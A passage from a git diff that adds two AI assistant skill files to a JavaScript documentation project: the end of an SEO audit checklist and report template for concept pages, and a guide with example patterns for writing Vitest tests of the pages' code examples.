"What you'll learn" Info box | 1 | `` component after opening | +| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks | +| 5 | 1,500+ words | 1 | Word count check | +| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` | + +**Content Structure Template:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ IDEAL PAGE STRUCTURE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. QUESTION HOOK (First 50 words) │ +│ "How does JavaScript...? Why do...?" │ +│ │ +│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │ +│ Quick explanation + simple code demo │ +│ │ +│ 3. "WHAT YOU'LL LEARN" INFO BOX │ +│ 5-7 bullet points │ +│ │ +│ 4. PREREQUISITES WARNING (if applicable) │ +│ Link to required prior concepts │ +│ │ +│ 5. MAIN CONTENT SECTIONS (H2s) │ +│ Each H2 answers a question or teaches a concept │ +│ Include code examples, diagrams, tables │ +│ │ +│ 6. COMMON MISTAKES / GOTCHAS SECTION │ +│ What trips people up │ +│ │ +│ 7. KEY TAKEAWAYS │ +│ 8-10 numbered points summarizing everything │ +│ │ +│ 8. TEST YOUR KNOWLEDGE │ +│ 5-6 Q&A accordions │ +│ │ +│ 9. RELATED CONCEPTS │ +│ 4 cards linking to related topics │ +│ │ +│ 10. RESOURCES (Reference, Articles, Videos) │ +│ MDN links, curated articles, videos │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +### Featured Snippet Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 | +| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s | +| 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list | +| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content | + +**Featured Snippet Patterns:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ FEATURED SNIPPET FORMATS │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ QUERY TYPE WINNING FORMAT YOUR CONTENT │ +│ ─────────── ────────────── ──────────── │ +│ │ +│ "What is X" Paragraph 40-60 word definition │ +│ after H2, bold keyword │ +│ │ +│ "How to X" Numbered list component or │ +│ 1. 2. 3. markdown │ +│ │ +│ "X vs Y" Table | Feature | X | Y | │ +│ comparison table │ +│ │ +│ "Types of X" Bullet list - **Type 1** — desc │ +│ - **Type 2** — desc │ +│ │ +│ "[X] examples" Code block ```javascript │ +│ + explanation // example code │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Definition Paragraph Example (40-60 words):** + +```markdown +## What is a Closure in JavaScript? + +A **closure** is a function that retains access to variables from its outer +(enclosing) scope, even after that outer function has finished executing. +Closures are created every time a function is created in JavaScript, allowing +inner functions to "remember" and access their lexical environment. +``` + +(This is 52 words - perfect for a featured snippet) + +--- + +### Internal Linking Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose | +| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" | +| 3 | Prerequisites in Warning box | 1 | `` with links at start | +| 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards | + +**Good Anchor Text:** + +| ❌ Bad | ✓ Good | +|--------|--------| +| "click here" | "event loop concept" | +| "here" | "JavaScript closures" | +| "this article" | "our Promises guide" | +| "read more" | "understanding the call stack" | + +**Link Placement Strategy:** + +```markdown + + +**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) +and the [Event Loop](/concepts/event-loop). Read those first if needed. + + + +When the callback finishes, it's added to the task queue — managed by +the [event loop](/concepts/event-loop). + + + + + async/await is built on top of Promises + + +``` + +--- + +### Technical SEO Checklist (3 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Single H1 per page | 1 | Only one `#` heading (the title) | +| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` | +| 3 | No orphan pages | 1 | Page is linked from at least one other page | + +**H1 Rule:** + +Every page should have exactly ONE H1 (your main title). This is critical for SEO: +- The H1 tells Google what the page is about +- Multiple H1s confuse search engines about page hierarchy +- All other headings should be H2 (`##`) and below +- The H1 should contain your primary keyword + +```markdown +# Closures in JavaScript ← This is your H1 (only one!) + +## What is a Closure? ← H2 for sections +### Lexical Scope ← H3 for subsections +## How Closures Work ← Another H2 +``` + +**URL/Slug Best Practices:** + +| ✅ Good | ❌ Bad | +|---------|--------| +| `/concepts/closures` | `/concepts/c1` | +| `/concepts/event-loop` | `/concepts/topic-7` | +| `/concepts/type-coercion` | `/concepts/abc123` | +| `/concepts/async-await` | `/concepts/async_await` | + +Rules for slugs: +- **Include primary keyword** — The concept name should be in the URL +- **Use hyphens, not underscores** — `event-loop` not `event_loop` +- **Keep slugs short and readable** — Under 50 characters +- **No UUIDs, database IDs, or random strings** +- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop` + +**Orphan Page Detection:** + +An orphan page has no internal links pointing to it from other pages. This hurts SEO because: +- Google may not discover or crawl it frequently +- It signals the page isn't important to your site structure +- Users can't navigate to it naturally +- Link equity doesn't flow to the page + +**How to check for orphan pages:** +1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/` +2. Verify it appears in at least one other concept's "Related Concepts" section +3. Check that pages listing it as a prerequisite link back appropriately +4. Ensure it's included in the navigation (`docs.json`) + +**Fixing orphan pages:** +- Add the concept to related pages' "Related Concepts" CardGroup +- Link to it naturally in body content of related concepts +- Ensure bidirectional linking (if A links to B, B should link back to A where relevant) + +--- + +## Scoring System + +### Total Points Available: 30 + +| Category | Max Points | +|----------|------------| +| Title Tag | 4 | +| Meta Description | 4 | +| Keyword Placement | 5 | +| Content Structure | 6 | +| Featured Snippets | 4 | +| Internal Linking | 4 | +| Technical SEO | 3 | +| **Total** | **30** | + +### Score Interpretation + +| Score | Percentage | Status | Action | +|-------|------------|--------|--------| +| 27-30 | 90-100% | ✅ Excellent | Ready to publish | +| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed | +| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed | +| 0-16 | <55% | ❌ Poor | Significant work required | + +--- + +## Common SEO Issues and Fixes + +### Title Tag Issues + +| Issue | Current | Fix | +|-------|---------|-----| +| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | +| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | +| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" | +| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" | +| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" | + +### Meta Description Issues + +| Issue | Current | Fix | +|-------|---------|-----| +| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars | +| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information | +| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | +| No keyword | "Functions that remember" | Include "closures" and "JavaScript" | +| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" | + +### Content Structure Issues + +| Issue | Fix | +|-------|-----| +| No question hook | Start with "How does...?" or "Why...?" | +| Code example too late | Move simple example to first 200 words | +| Missing Info box | Add `` with "What you'll learn" | +| Long paragraphs | Break into 2-4 sentence chunks | +| Under 1,500 words | Add more depth, examples, edge cases | +| No bolded terms | Bold key concepts on first mention | + +### Featured Snippet Issues + +| Issue | Fix | +|-------|-----| +| No "What is" definition | Add 40-60 word definition paragraph | +| Definition too long | Tighten to 40-60 words | +| No question H2s | Add "What is X?" or "How does X work?" H2 | +| Steps not numbered | Use `` or numbered markdown | +| No comparison tables | Add table for "X vs Y" sections | + +### Internal Linking Issues + +| Issue | Fix | +|-------|-----| +| No internal links | Add 3-5 links to related concepts | +| Bad anchor text | Replace "click here" with descriptive text | +| No prerequisites | Add `` with prerequisite links | +| Empty Related Concepts | Add 4 Cards linking to related topics | + +### Technical SEO Issues + +| Issue | Fix | +|-------|-----| +| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections | +| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) | +| Orphan page | Add links from related concept pages' body or Related Concepts section | +| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` | +| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` | +| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` | + +--- + +## SEO Audit Report Template + +Use this template to document your findings. + +```markdown +# SEO Audit Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Auditor:** [Name/Claude] +**Overall Score:** XX/30 (XX%) +**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor + +--- + +## Score Summary + +| Category | Score | Status | +|----------|-------|--------| +| Title Tag | X/4 | ✅/⚠️/❌ | +| Meta Description | X/4 | ✅/⚠️/❌ | +| Keyword Placement | X/5 | ✅/⚠️/❌ | +| Content Structure | X/6 | ✅/⚠️/❌ | +| Featured Snippets | X/4 | ✅/⚠️/❌ | +| Internal Linking | X/4 | ✅/⚠️/❌ | +| Technical SEO | X/3 | ✅/⚠️/❌ | +| **Total** | **X/30** | **STATUS** | + +--- + +## Target Keywords + +**Primary Keyword:** [e.g., "JavaScript closures"] +**Secondary Keywords:** +- [keyword 1] +- [keyword 2] +- [keyword 3] + +**Search Intent:** Informational / How-to / Comparison + +--- + +## Title Tag Analysis + +**Current Title:** "[current title from frontmatter]" +**Character Count:** XX characters +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| Length 50-60 chars | ✅/❌ | XX characters | +| Primary keyword in first half | ✅/❌ | [notes] | +| Ends with "in JavaScript" | ✅/❌ | [notes] | +| Contains compelling hook | ✅/❌ | [notes] | + +**Issues Found:** [if any] + +**Recommended Title:** "[suggested title]" (XX chars) + +--- + +## Meta Description Analysis + +**Current Description:** "[current description from frontmatter]" +**Character Count:** XX characters +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| Length 150-160 chars | ✅/❌ | XX characters | +| Starts with action word | ✅/❌ | Starts with "[word]" | +| Contains primary keyword | ✅/❌ | [notes] | +| Promises specific value | ✅/❌ | [notes] | + +**Issues Found:** [if any] + +**Recommended Description:** "[suggested description]" (XX chars) + +--- + +## Keyword Placement Analysis + +**Score:** X/5 + +| Location | Present | Notes | +|----------|---------|-------| +| Title | ✅/❌ | [notes] | +| Meta description | ✅/❌ | [notes] | +| First 100 words | ✅/❌ | Found at word XX | +| H2 heading | ✅/❌ | Found in: "[H2 text]" | +| Natural reading | ✅/❌ | [no stuffing / stuffing detected] | + +**Missing Keyword Placements:** +- [ ] [Location where keyword should be added] + +--- + +## Content Structure Analysis + +**Word Count:** X,XXX words +**Score:** X/6 + +| Check | Status | Notes | +|-------|--------|-------| +| Question hook opening | ✅/❌ | [notes] | +| Code in first 200 words | ✅/❌ | Code appears at word XX | +| "What you'll learn" box | ✅/❌ | [present/missing] | +| Short paragraphs | ✅/❌ | [notes on paragraph length] | +| 1,500+ words | ✅/❌ | X,XXX words | +| Bolded key terms | ✅/❌ | [notes] | + +**Structure Issues:** +- [ ] [Issue and recommendation] + +--- + +## Featured Snippet Analysis + +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| 40-60 word definition | ✅/❌ | Currently XX words | +| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found | +| Numbered steps | ✅/❌ | [notes] | +| Comparison tables | ✅/❌/N/A | [notes] | + +**Snippet Opportunities:** + +1. **"What is [concept]" snippet:** + - Current definition: XX words + - Action: [Expand to/Trim to] 40-60 words + +2. **"How to [action]" snippet:** + - Action: [Add Steps component / Already present] + +--- + +## Internal Linking Analysis + +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| 3-5 internal links in body | ✅/❌ | Found X links | +| Descriptive anchor text | ✅/❌ | [notes] | +| Prerequisites in Warning | ✅/❌ | [present/missing] | +| Related Concepts section | ✅/❌ | X cards present | + +**Current Internal Links:** +1. [Anchor text] → `/concepts/[slug]` +2. [Anchor text] → `/concepts/[slug]` + +**Recommended Links to Add:** +- Link to [concept] in [section/context] +- Link to [concept] in [section/context] + +**Bad Anchor Text Found:** +- Line XX: "click here" → change to "[descriptive text]" + +--- + +## Technical SEO Analysis + +**Score:** X/3 + +| Check | Status | Notes | +|-------|--------|-------| +| Single H1 per page | ✅/❌ | [Found X H1 tags] | +| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` | +| Not an orphan page | ✅/❌ | Linked from X other pages | + +**H1 Tags Found:** +- Line XX: `# [H1 text]` ← Should be the only one +- [List any additional H1s that need to be changed to H2] + +**Slug Analysis:** +- Current slug: `[slug].mdx` +- Contains keyword: ✅/❌ +- Format correct: ✅/❌ (lowercase, hyphens, no special chars) + +**Incoming Links Found:** +1. `/concepts/[other-concept]` → Links to this page in [section] +2. `/concepts/[other-concept]` → Links in Related Concepts + +**If orphan page, add links from:** +- [Suggested concept page] in [section] +- [Suggested concept page] in Related Concepts + +--- + +## Priority Fixes + +### High Priority (Do First) + +1. **[Issue]** + - Current: [what it is now] + - Recommended: [what it should be] + - Impact: [why this matters] + +2. **[Issue]** + - Current: [what it is now] + - Recommended: [what it should be] + - Impact: [why this matters] + +### Medium Priority + +1. **[Issue]** + - Recommendation: [fix] + +### Low Priority (Nice to Have) + +1. **[Issue]** + - Recommendation: [fix] + +--- + +## Competitive Analysis (Optional) + +**Top-Ranking Pages for "[primary keyword]":** + +1. **[Competitor 1 - URL]** + - What they do well: [observation] + - Word count: ~X,XXX + +2. **[Competitor 2 - URL]** + - What they do well: [observation] + - Word count: ~X,XXX + +**Our Advantages:** +- [What we do better] + +**Gaps to Fill:** +- [What we're missing that competitors have] + +--- + +## Implementation Checklist + +After making fixes, verify: + +- [ ] Title is 50-60 characters with keyword and hook +- [ ] Description is 150-160 characters with action word and value +- [ ] Primary keyword in title, description, first 100 words, and H2 +- [ ] Opens with question hook +- [ ] Code example in first 200 words +- [ ] "What you'll learn" Info box present +- [ ] Paragraphs are 2-4 sentences +- [ ] 1,500+ words total +- [ ] Key terms bolded on first mention +- [ ] 40-60 word definition for featured snippet +- [ ] At least one question-format H2 +- [ ] 3-5 internal links with descriptive anchor text +- [ ] Prerequisites in Warning box (if applicable) +- [ ] Related Concepts section has 4 cards +- [ ] Single H1 per page (title only) +- [ ] URL slug contains primary keyword +- [ ] Page linked from at least one other concept page +- [ ] All fixes implemented and verified + +--- + +## Final Recommendation + +**Ready to Publish:** ✅ Yes / ❌ No - [reason] + +**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"] +``` + +--- + +## Quick Reference + +### Character Counts + +| Element | Ideal Length | +|---------|--------------| +| Title | 50-60 characters | +| Meta Description | 150-160 characters | +| Definition paragraph | 40-60 words | + +### Keyword Density + +- Don't exceed 3-4 mentions of exact phrase per 1,000 words +- Use variations naturally (e.g., "closures", "closure", "JavaScript closures") + +### Content Length + +| Length | Assessment | +|--------|------------| +| <1,000 words | Too thin - add depth | +| 1,000-1,500 | Minimum viable | +| 1,500-2,500 | Good | +| 2,500-4,000 | Excellent | +| >4,000 | Consider splitting | + +--- + +## Summary + +When auditing a concept page for SEO: + +1. **Identify target keywords** using the keyword cluster for that concept +2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript" +3. **Check meta description** — 150-160 chars, action word, keyword, specific value +4. **Verify keyword placement** — Title, description, first 100 words, H2 +5. **Audit content structure** — Question hook, early code, Info box, short paragraphs +6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables +7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section +8. **Generate report** — Document score, issues, and prioritized fixes + +**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience. diff --git a/.claude/skills/test-writer/SKILL.md b/.claude/skills/test-writer/SKILL.md new file mode 100644 index 00000000..b08c3935 --- /dev/null +++ b/.claude/skills/test-writer/SKILL.md @@ -0,0 +1,940 @@ +--- +name: test-writer +description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines +--- + +# Skill: Test Writer for Concept Pages + +Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described. + +## When to Use + +- After writing a new concept page +- When adding new code examples to existing pages +- When updating existing code examples +- To verify documentation accuracy through automated tests +- Before publishing to ensure all examples work correctly + +## Test Writing Methodology + +Follow these four phases to create comprehensive tests for a concept page. + +### Phase 1: Code Example Extraction + +Scan the concept page for all code examples and categorize them: + +| Category | Characteristics | Action | +|----------|-----------------|--------| +| **Testable** | Has `console.log` with output comments, returns values | Write tests | +| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) | +| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` | +| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) | +| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock | + +### Phase 2: Determine Test File Structure + +``` +tests/ +├── fundamentals/ # Concepts 1-6 +├── functions-execution/ # Concepts 7-8 +├── web-platform/ # Concepts 9-10 +├── object-oriented/ # Concepts 11-15 +├── functional-programming/ # Concepts 16-19 +├── async-javascript/ # Concepts 20-22 +├── advanced-topics/ # Concepts 23-31 +└── beyond/ # Extended concepts + └── {subcategory}/ +``` + +**File naming:** +- Standard tests: `{concept-name}.test.js` +- DOM tests: `{concept-name}.dom.test.js` + +### Phase 3: Convert Examples to Tests + +For each testable code example: + +1. Identify the expected output (from `console.log` comments or documented behavior) +2. Convert to `expect` assertions +3. Add source line reference in comments +4. Group related tests in `describe` blocks matching documentation sections + +### Phase 4: Handle Special Cases + +| Case | Solution | +|------|----------| +| Browser-only APIs | Use jsdom environment or skip with note | +| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing | +| Side effects | Capture output or test mutations | +| Intentional errors | Use `expect(() => {...}).toThrow()` | +| Async code | Use `async/await` with proper assertions | + +--- + +## Project Test Conventions + +### Import Pattern + +```javascript +import { describe, it, expect } from 'vitest' +``` + +For DOM tests or tests needing mocks: + +```javascript +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +``` + +### DOM Test File Header + +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +``` + +### Describe Block Organization + +Match the structure of the documentation: + +```javascript +describe('Concept Name', () => { + describe('Section from Documentation', () => { + describe('Subsection if needed', () => { + it('should [specific behavior]', () => { + // Test + }) + }) + }) +}) +``` + +### Test Naming Convention + +- Start with "should" +- Be descriptive and specific +- Match the documented behavior + +```javascript +// Good +it('should return "object" for typeof null', () => {}) +it('should throw TypeError when accessing property of undefined', () => {}) +it('should resolve promises in order they were created', () => {}) + +// Bad +it('test typeof', () => {}) +it('works correctly', () => {}) +it('null test', () => {}) +``` + +### Source Line References + +Always reference the documentation source: + +```javascript +// ============================================================ +// SECTION NAME FROM DOCUMENTATION +// From {concept}.mdx lines XX-YY +// ============================================================ + +describe('Section Name', () => { + // From lines 45-52: Basic typeof examples + it('should return correct type strings', () => { + // Test + }) +}) +``` + +--- + +## Test Patterns Reference + +### Pattern 1: Basic Value Assertion + +**Documentation:** +```javascript +console.log(typeof "hello") // "string" +console.log(typeof 42) // "number" +``` + +**Test:** +```javascript +// From lines XX-YY: typeof examples +it('should return correct type for primitives', () => { + expect(typeof "hello").toBe("string") + expect(typeof 42).toBe("number") +}) +``` + +--- + +### Pattern 2: Multiple Related Assertions + +**Documentation:** +```javascript +let a = "hello" +let b = "hello" +console.log(a === b) // true + +let obj1 = { x: 1 } +let obj2 = { x: 1 } +console.log(obj1 === obj2) // false +``` + +**Test:** +```javascript +// From lines XX-YY: Primitive vs object comparison +it('should compare primitives by value', () => { + let a = "hello" + let b = "hello" + expect(a === b).toBe(true) +}) + +it('should compare objects by reference', () => { + let obj1 = { x: 1 } + let obj2 = { x: 1 } + expect(obj1 === obj2).toBe(false) +}) +``` + +--- + +### Pattern 3: Function Return Values + +**Documentation:** +```javascript +function greet(name) { + return "Hello, " + name + "!" +} + +console.log(greet("Alice")) // "Hello, Alice!" +``` + +**Test:** +```javascript +// From lines XX-YY: greet function example +it('should return greeting with name', () => { + function greet(name) { + return "Hello, " + name + "!" + } + + expect(greet("Alice")).toBe("Hello, Alice!") +}) +``` + +--- + +### Pattern 4: Error Testing + +**Documentation:** +```javascript +// This throws an error! +const obj = null +console.log(obj.property) // TypeError: Cannot read property of null +``` + +**Test:** +```javascript +// From lines XX-YY: Accessing property of null +it('should throw TypeError when accessing property of null', () => { + const obj = null + + expect(() => { + obj.property + }).toThrow(TypeError) +}) +``` + +--- + +### Pattern 5: Specific Error Messages + +**Documentation:** +```javascript +function divide(a, b) { + if (b === 0) throw new Error("Cannot divide by zero") + return a / b +} +``` + +**Test:** +```javascript +// From lines XX-YY: divide function with error +it('should throw error when dividing by zero', () => { + function divide(a, b) { + if (b === 0) throw new Error("Cannot divide by zero") + return a / b + } + + expect(() => divide(10, 0)).toThrow("Cannot divide by zero") + expect(divide(10, 2)).toBe(5) +}) +``` + +--- + +### Pattern 6: Async/Await Testing + +**Documentation:** +```javascript +async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`) + return response.json() +} +``` + +**Test:** +```javascript +// From lines XX-YY: async fetchUser function +it('should fetch user data asynchronously', async () => { + // Mock fetch for testing + global.fetch = vi.fn(() => + Promise.resolve({ + json: () => Promise.resolve({ id: 1, name: 'Alice' }) + }) + ) + + async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`) + return response.json() + } + + const user = await fetchUser(1) + expect(user).toEqual({ id: 1, name: 'Alice' }) +}) +``` + +--- + +### Pattern 7: Promise Testing + +**Documentation:** +```javascript +const promise = new Promise((resolve) => { + resolve("done") +}) + +promise.then(result => console.log(result)) // "done" +``` + +**Test:** +```javascript +// From lines XX-YY: Basic Promise resolution +it('should resolve with correct value', async () => { + const promise = new Promise((resolve) => { + resolve("done") + }) + + await expect(promise).resolves.toBe("done") +}) +``` + +--- + +### Pattern 8: Promise Rejection + +**Documentation:** +```javascript +const promise = new Promise((resolve, reject) => { + reject(new Error("Something went wrong")) +}) +``` + +**Test:** +```javascript +// From lines XX-YY: Promise rejection +it('should reject with error', async () => { + const promise = new Promise((resolve, reject) => { + reject(new Error("Something went wrong")) + }) + + await expect(promise).rejects.toThrow("Something went wrong") +}) +``` + +--- + +### Pattern 9: Floating Point Comparison + +**Documentation:** +```javascript +console.log(0.1 + 0.2) // 0.30000000000000004 +console.log(0.1 + 0.2 === 0.3) // false +``` + +**Test:** +```javascript +// From lines XX-YY: Floating point precision +it('should demonstrate floating point imprecision', () => { + expect(0.1 + 0.2).not.toBe(0.3) + expect(0.1 + 0.2).toBeCloseTo(0.3) + expect(0.1 + 0.2 === 0.3).toBe(false) +}) +``` + +--- + +### Pattern 10: Array Method Testing + +**Documentation:** +```javascript +const numbers = [1, 2, 3, 4, 5] +const doubled = numbers.map(n => n * 2) +console.log(doubled) // [2, 4, 6, 8, 10] +``` + +**Test:** +```javascript +// From lines XX-YY: Array map example +it('should double all numbers in array', () => { + const numbers = [1, 2, 3, 4, 5] + const doubled = numbers.map(n => n * 2) + + expect(doubled).toEqual([2, 4, 6, 8, 10]) + expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged +}) +``` + +--- + +### Pattern 11: Object Mutation Testing + +**Documentation:** +```javascript +const obj = { a: 1 } +obj.b = 2 +console.log(obj) // { a: 1, b: 2 } +``` + +**Test:** +```javascript +// From lines XX-YY: Object mutation +it('should allow adding properties to objects', () => { + const obj = { a: 1 } + obj.b = 2 + + expect(obj).toEqual({ a: 1, b: 2 }) +}) +``` + +--- + +### Pattern 12: Closure Testing + +**Documentation:** +```javascript +function counter() { + let count = 0 + return function() { + count++ + return count + } +} + +const increment = counter() +console.log(increment()) // 1 +console.log(increment()) // 2 +console.log(increment()) // 3 +``` + +**Test:** +```javascript +// From lines XX-YY: Closure counter example +it('should maintain state across calls via closure', () => { + function counter() { + let count = 0 + return function() { + count++ + return count + } + } + + const increment = counter() + expect(increment()).toBe(1) + expect(increment()).toBe(2) + expect(increment()).toBe(3) +}) + +it('should create independent counters', () => { + function counter() { + let count = 0 + return function() { + count++ + return count + } + } + + const counter1 = counter() + const counter2 = counter() + + expect(counter1()).toBe(1) + expect(counter1()).toBe(2) + expect(counter2()).toBe(1) // Independent +}) +``` + +--- + +### Pattern 13: DOM Event Testing + +**Documentation:** +```javascript +const button = document.getElementById('myButton') +button.addEventListener('click', function(event) { + console.log('Button clicked!') + console.log(event.type) // "click" +}) +``` + +**Test (in .dom.test.js file):** +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, beforeEach, afterEach } from 'vitest' + +describe('DOM Event Handlers', () => { + let button + + beforeEach(() => { + button = document.createElement('button') + button.id = 'myButton' + document.body.appendChild(button) + }) + + afterEach(() => { + document.body.innerHTML = '' + }) + + // From lines XX-YY: Button click event + it('should fire click event handler', () => { + const output = [] + + button.addEventListener('click', function(event) { + output.push('Button clicked!') + output.push(event.type) + }) + + button.click() + + expect(output).toEqual(['Button clicked!', 'click']) + }) +}) +``` + +--- + +### Pattern 14: DOM Manipulation Testing + +**Documentation:** +```javascript +const div = document.createElement('div') +div.textContent = 'Hello' +div.classList.add('greeting') +document.body.appendChild(div) +``` + +**Test:** +```javascript +// From lines XX-YY: Creating and appending elements +it('should create element with text and class', () => { + const div = document.createElement('div') + div.textContent = 'Hello' + div.classList.add('greeting') + document.body.appendChild(div) + + const element = document.querySelector('.greeting') + expect(element).not.toBeNull() + expect(element.textContent).toBe('Hello') + expect(element.classList.contains('greeting')).toBe(true) +}) +``` + +--- + +### Pattern 15: Timer Testing + +**Documentation:** +```javascript +console.log('First') +setTimeout(() => console.log('Second'), 0) +console.log('Third') +// Output: First, Third, Second +``` + +**Test:** +```javascript +// From lines XX-YY: setTimeout execution order +it('should execute setTimeout callback after synchronous code', async () => { + const output = [] + + output.push('First') + setTimeout(() => output.push('Second'), 0) + output.push('Third') + + // Wait for setTimeout to execute + await new Promise(resolve => setTimeout(resolve, 10)) + + expect(output).toEqual(['First', 'Third', 'Second']) +}) +``` + +--- + +### Pattern 16: Strict Mode Behavior + +**Documentation:** +```javascript +// In strict mode, this throws +"use strict" +x = 10 // ReferenceError: x is not defined +``` + +**Test:** +```javascript +// From lines XX-YY: Strict mode variable declaration +it('should throw ReferenceError in strict mode for undeclared variables', () => { + // Vitest runs in strict mode by default + expect(() => { + // Using eval to test strict mode behavior + "use strict" + eval('undeclaredVar = 10') + }).toThrow() +}) +``` + +--- + +## Complete Test File Template + +```javascript +import { describe, it, expect } from 'vitest' + +describe('[Concept Name]', () => { + // ============================================================ + // [FIRST SECTION NAME FROM DOCUMENTATION] + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('[First Section]', () => { + // From lines XX-YY: [Brief description of example] + it('should [expected behavior]', () => { + // Code from documentation + + expect(result).toBe(expected) + }) + + // From lines XX-YY: [Brief description of next example] + it('should [another expected behavior]', () => { + // Code from documentation + + expect(result).toEqual(expected) + }) + }) + + // ============================================================ + // [SECOND SECTION NAME FROM DOCUMENTATION] + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('[Second Section]', () => { + // From lines XX-YY: [Description] + it('should [behavior]', () => { + // Test + }) + }) + + // ============================================================ + // EDGE CASES AND COMMON MISTAKES + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('Edge Cases', () => { + // From lines XX-YY: [Edge case description] + it('should handle [edge case]', () => { + // Test + }) + }) + + describe('Common Mistakes', () => { + // From lines XX-YY: Wrong way example + it('should demonstrate the incorrect behavior', () => { + // Test showing why the "wrong" way fails + }) + + // From lines XX-YY: Correct way example + it('should demonstrate the correct behavior', () => { + // Test showing the right approach + }) + }) +}) +``` + +--- + +## Complete DOM Test File Template + +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +// ============================================================ +// DOM EXAMPLES FROM [CONCEPT NAME] +// From [concept].mdx lines XX-YY +// ============================================================ + +describe('[Concept Name] - DOM', () => { + // Shared setup + let container + + beforeEach(() => { + // Create a fresh container for each test + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + // Clean up after each test + document.body.innerHTML = '' + vi.restoreAllMocks() + }) + + // ============================================================ + // [SECTION NAME] + // From lines XX-YY + // ============================================================ + + describe('[Section Name]', () => { + // From lines XX-YY: [Example description] + it('should [expected DOM behavior]', () => { + // Setup + const element = document.createElement('div') + container.appendChild(element) + + // Action + element.textContent = 'Hello' + + // Assert + expect(element.textContent).toBe('Hello') + }) + }) + + // ============================================================ + // EVENT HANDLING + // From lines XX-YY + // ============================================================ + + describe('Event Handling', () => { + // From lines XX-YY: Click event example + it('should handle click events', () => { + const button = document.createElement('button') + container.appendChild(button) + + let clicked = false + button.addEventListener('click', () => { + clicked = true + }) + + button.click() + + expect(clicked).toBe(true) + }) + }) +}) +``` + +--- + +## Running Tests + +```bash +# Run all tests +npm test + +# Run tests for specific concept +npm test -- tests/fundamentals/primitive-types/ + +# Run tests for specific file +npm test -- tests/fundamentals/primitive-types/primitive-types.test.js + +# Run DOM tests only +npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js + +# Run with watch mode +npm run test:watch + +# 